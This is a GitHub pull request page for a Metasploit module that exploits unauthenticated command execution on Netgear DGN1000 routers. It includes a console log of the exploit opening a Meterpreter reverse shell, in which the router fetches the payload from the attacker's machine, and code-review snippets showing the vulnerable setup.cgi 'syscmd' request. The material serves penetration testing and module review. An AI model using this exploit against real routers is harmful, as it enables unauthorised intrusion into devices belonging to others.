Netgear DGN1000 Unauthenticated OS Command execution #9106

ghost · 2017-10-21T00:56:17Z

This module exploits an unauthenticated OS command execution vulnerability, similar to https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb.

Verification

msf > use exploit/linux/http/netgear_dgn1000_setup_unauth_exec
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RHOST 192.168.0.1
RHOST => 192.168.0.1
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RPORT 80
RPORT => 80
msf exploit(netgear_dgn1000_setup_unauth_exec) > set LHOST eth0
LHOST = eth0
msf exploit(netgear_dgn1000_setup_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
msf exploit(netgear_dgn1000_setup_unauth_exec) > run

[*] Started reverse TCP handler on 192.168.0.11:4444
[*] 192.168.0.1:80 - Connecting to target...
[*] 192.168.0.1:80 - Exploiting target ....
[*] Using URL: http://0.0.0.0:8080/DnuJhOHYg7auIz
[*] Local IP: http://192.168.0.11:8080/DnuJhOHYg7auIz
[*] Client 192.168.0.1 (Wget) requested /DnuJhOHYg7auIz
[*] Sending payload to 192.168.0.1 (Wget)
[*] Sending stage (1073332 bytes) to 192.168.0.1
[*] Meterpreter session 2 opened (192.168.0.11:4444 -> 192.168.0.1:51558) at 2017-10-20 20:37:06 -0400
[*] Command Stager progress - 100.00% done (129/129 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.0.1
OS           :  (Linux 2.6.20-Amazon_SE)
Architecture : mips
Meterpreter  : mipsbe/linux
meterpreter >```

…nauth_setup_exec

h00die · 2017-10-21T01:12:04Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+      ],
+      'References' =>
+        [
+          ['URL', 'https://www.exploit-db.com/exploits/25978/'],


Theres an 'edb' reference: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb#L35

h00die · 2017-10-21T01:12:20Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+        },
+      'Author' => [
+        'Mumbai <https://github.com/realoriginal>', # module
+        'Robort Palerie' # vuln discovery


you should include Robort's email that is in the EDB module

h00die · 2017-10-21T01:12:42Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+          'method' => 'GET'
+          })
+
+          if [200, 301, 302, 401].include?(res.code)


if res && ...
always remember to check for res.

h00die · 2017-10-21T01:13:23Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+          })
+
+          if [200, 301, 302, 401].include?(res.code)
+            return Exploit::CheckCode::Detected


so if ANY site EVER has setup.cgi its detected? Is there any unique item on the page to check for, or a disclosed version number on any unuath pages?

h00die · 2017-10-21T01:13:57Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+      def execute_command(cmd, opts)
+        begin
+          res = send_request_cgi({
+            'uri' => "/setup.cgi",


single quotes

h00die · 2017-10-21T01:14:11Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+            'method' => 'GET',
+            'vars_get' => {
+              'next_file' => "netgear.cfg",
+              'todo' => "syscmd",


single quotes

h00die · 2017-10-21T01:14:27Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+            'vars_get' => {
+              'next_file' => "netgear.cfg",
+              'todo' => "syscmd",
+              'cmd' => "#{cmd}",


cmd.to_s should work fine here instead of "#{cmd}"

h00die · 2017-10-21T01:14:45Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+              'next_file' => "netgear.cfg",
+              'todo' => "syscmd",
+              'cmd' => "#{cmd}",
+              'curpath' => "/",


single quotes

h00die · 2017-10-21T01:14:55Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+              'todo' => "syscmd",
+              'cmd' => "#{cmd}",
+              'curpath' => "/",
+              'currentsetting.htm' => "1"


single quotes

shit! will fix immeidately. forgot to fix these ughh

h00die · 2017-10-21T01:15:03Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+          return Exploit::CheckCode::Unknown
+        end
+
+


remove a space?

ghost · 2017-10-21T02:17:48Z

Fixed requested changes

ghost · 2017-10-21T22:39:04Z

@h00die its weird, I keep adding the header yet the cli keeps marking it wrong.

h00die · 2017-10-21T22:51:46Z

The error I'm seeing is: modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb - [ERROR] Exploit is missing a disclosure date

ghost · 2017-10-22T00:13:56Z

Gotcha. Thank you! added it hopefully works

h00die · 2017-10-22T00:38:39Z

Anyone have this router to test with? If not, @realoriginal would you be able to send a pcap of the check and exploitation (sanitized if you wish) to msfdev@metasploit.com ?

ghost · 2017-10-22T13:33:00Z

Yes @h00die I will send a Pcap tommorow morning, is there a format which I should submit in the email, ie module name and stuff?

h00die · 2017-10-22T13:40:27Z

You can put the PR number (PR: #9106) but nothing formal is required. I'll know!

ghost · 2017-10-22T15:03:09Z

gotcha. Was able to do it, sent it in :D

ghost · 2017-10-22T17:01:35Z

Was able to submit a PCAP a few hours later, you may notice the localhost for both dest and source, its due to proxy. Hopefully doesnt affect much @h00die

h00die · 2017-10-22T19:05:00Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+      ],
+      'References' =>
+        [
+          ['EDB', '24464'],


This doesn't look to be the same finding.

h00die · 2017-10-22T19:05:31Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+      'References' =>
+        [
+          ['EDB', '24464'],
+          ['URL', 'https://www.exploit-db.com/exploits/25978/'],


['EDB', '25978']

h00die · 2017-10-22T19:08:40Z

just one last minor edit and it'll be ready to land!

ghost · 2017-10-22T20:11:36Z

fixed. :D

h00die · 2017-10-22T20:17:12Z

modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb

+      'References' =>
+        [
+          ['EDB', '25978'],
+          ['URL', 'https://www.exploit-db.com/exploits/25978/'],


dont need this line anymore

h00die · 2017-10-22T20:18:04Z

sorry, one last (bigger) thing, need some module docs on here. See https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/netgear_r7000_cgibin_exec.md as a close example

ghost · 2017-10-22T20:32:16Z

No problem. will bust em out rn.

ghost · 2017-10-22T20:56:06Z

Done @h00die

h00die · 2017-10-23T02:22:37Z

I did a few code cleanups: 210f6f8#diff-b29c8db7b12be9e30426bf7347cbd388 in the module added the default target and payload (per what you used). Cleaned up some spacing, and the module docs.

h00die · 2017-10-23T02:23:28Z

Thanks for submitting and all the quick turn arounds!

h00die · 2017-10-23T02:24:16Z

Release Notes

An exploit has been added for unauth RCE to netgear dgn1000 routers.

ghost · 2017-10-23T11:07:39Z

thank you sir!. Will make sure to have this all done for any future models so you guys have less of a headache xD. Appreciate it

mumbai and others added 8 commits October 17, 2017 07:36

Adding python/shell_bind_tcp, for an avaialable option

858bb26

Update shell_bind_tcp.rb

7098372

Merge remote-tracking branch 'upstream/master'

2f98f2b

New module

04a24e5

Merge remote-tracking branch 'upstream/master' into netgear_dgn1000_u…

2e376a1

…nauth_setup_exec

Netgear MODULE UNAUTH

2f371c9

New NETGEAR module

b255ddf

remove payload

8b8bebd

ghost changed the title ~~Netgear unauth~~ Netgear DGN1000 Unauthenticated OS Command execution Oct 21, 2017

h00die requested changes Oct 21, 2017

View reviewed changes

Fix requested changes

ac21567

Austin added 3 commits October 20, 2017 22:26

correct mistake

40e508f

fix header

8239d28

hopefully fix header..?

e0831c1

add disc date

c7e35f8

h00die approved these changes Oct 22, 2017

View reviewed changes

h00die added the module label Oct 22, 2017

h00die requested changes Oct 22, 2017

View reviewed changes

fix EDB

6f37bbb

h00die reviewed Oct 22, 2017

View reviewed changes

Austin added 2 commits October 22, 2017 16:54

Create netgear_dgn1000_unauth_setup_exec.md

e9fdb5b

Update netgear_dgn1000_setup_unauth_exec.rb

eff94be

h00die approved these changes Oct 22, 2017

View reviewed changes

h00die self-assigned this Oct 23, 2017

h00die merged commit eff94be into rapid7:master Oct 23, 2017

h00die added a commit that referenced this pull request Oct 23, 2017

Land #9106 negear dgn1000 unauth rce module

cd35ae4

h00die added the docs label Oct 23, 2017

ghost deleted the netgear_unauth branch October 23, 2017 12:24

ghost mentioned this pull request Oct 23, 2017

Re-Adding python_Shell_bind_tcp due to idiotic mistake on my part #9115

Merged

2 tasks

h00die mentioned this pull request Oct 23, 2017

Added python/shell_bind_tcp for, well availability and options #9093

Merged

2 tasks

tdoan-r7 added rn-enhancement release notes enhancement rn-exploit and removed rn-enhancement release notes enhancement labels Nov 1, 2017

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Netgear DGN1000 Unauthenticated OS Command execution #9106

Netgear DGN1000 Unauthenticated OS Command execution #9106

ghost commented Oct 21, 2017 •

edited by ghost

h00die Oct 21, 2017

h00die Oct 21, 2017

h00die Oct 21, 2017

h00die Oct 21, 2017

h00die Oct 21, 2017

h00die Oct 21, 2017

h00die Oct 21, 2017

h00die Oct 21, 2017

h00die Oct 21, 2017

ghost Oct 21, 2017

h00die Oct 21, 2017

ghost commented Oct 21, 2017

ghost commented Oct 21, 2017

h00die commented Oct 21, 2017

ghost commented Oct 22, 2017

h00die commented Oct 22, 2017

ghost commented Oct 22, 2017

h00die commented Oct 22, 2017

ghost commented Oct 22, 2017

ghost commented Oct 22, 2017

h00die Oct 22, 2017

h00die Oct 22, 2017

h00die commented Oct 22, 2017

ghost commented Oct 22, 2017

h00die Oct 22, 2017

h00die commented Oct 22, 2017

ghost commented Oct 22, 2017

ghost commented Oct 22, 2017

h00die commented Oct 23, 2017

h00die commented Oct 23, 2017

h00die commented Oct 23, 2017 •

edited by tdoan-r7

ghost commented Oct 23, 2017

Netgear DGN1000 Unauthenticated OS Command execution #9106

Netgear DGN1000 Unauthenticated OS Command execution #9106

Conversation

ghost commented Oct 21, 2017 • edited by ghost

Verification

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

ghost commented Oct 21, 2017

ghost commented Oct 21, 2017

h00die commented Oct 21, 2017

ghost commented Oct 22, 2017

h00die commented Oct 22, 2017

ghost commented Oct 22, 2017

h00die commented Oct 22, 2017

ghost commented Oct 22, 2017

ghost commented Oct 22, 2017

Choose a reason for hiding this comment

Choose a reason for hiding this comment

h00die commented Oct 22, 2017

ghost commented Oct 22, 2017

Choose a reason for hiding this comment

h00die commented Oct 22, 2017

ghost commented Oct 22, 2017

ghost commented Oct 22, 2017

h00die commented Oct 23, 2017

h00die commented Oct 23, 2017

h00die commented Oct 23, 2017 • edited by tdoan-r7

Release Notes

ghost commented Oct 23, 2017

ghost commented Oct 21, 2017 •

edited by ghost

h00die commented Oct 23, 2017 •

edited by tdoan-r7